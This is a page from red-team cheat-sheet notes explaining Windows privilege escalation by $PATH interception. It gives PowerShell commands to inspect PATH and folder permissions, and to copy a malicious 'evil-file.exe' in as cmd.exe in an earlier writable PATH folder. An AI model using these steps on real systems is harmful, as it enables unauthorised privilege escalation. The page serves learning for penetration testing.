Red Teaming And Windows Notes
  • Windows
    • Local Privilege Escalation
      • PRIVILEGES INFORMATION
      • Open Ports
      • Stored Creds
      • PowerShell/CMD History
      • Unquoted Service Paths
      • Evaluating Vulnerable Drivers
      • Printer
      • $PATH interception
    • Shell generators
    • Credentials Hunting.
      • Mimikatz
      • Secretsdump
      • Pypykatz
    • Active Directory
      • Quick Wins
      • Tools
      • Basic Recon
      • Laps Password Read
      • Weaponizing Windows
        • Weaponizing Windows Pt-1
      • Winrm Using Certificate[PFX]
      • WriteOwner
    • Powershell
    • Password Spray And Roasting
Powered by GitBook
On this page
  1. Windows
  2. Local Privilege Escalation

$PATH interception

Requirements:

  • PATH contains a writeable folder with low privileges.

  • The writeable folder is before the folder that contains the legitimate binary.

EXAMPLE:

# List contents of the PATH environment variable
# EXAMPLE OUTPUT: C:\Program Files\nodejs\;C:\WINDOWS\system32
$env:Path

# See permissions of the target folder
# EXAMPLE OUTPUT: BUILTIN\Users: GR,GW
icacls.exe "C:\Program Files\nodejs\"

# Place our evil-file in that folder.
copy evil-file.exe "C:\Program Files\nodejs\cmd.exe"

Because (in this example) "C:\Program Files\nodejs" is before "C:\WINDOWS\system32" on the PATH variable, the next time the user runs "cmd.exe", our evil version in the nodejs folder will run, instead of the legitimate one in the system32 folder.

PreviousPrinterNextShell generators

Last updated 3 years ago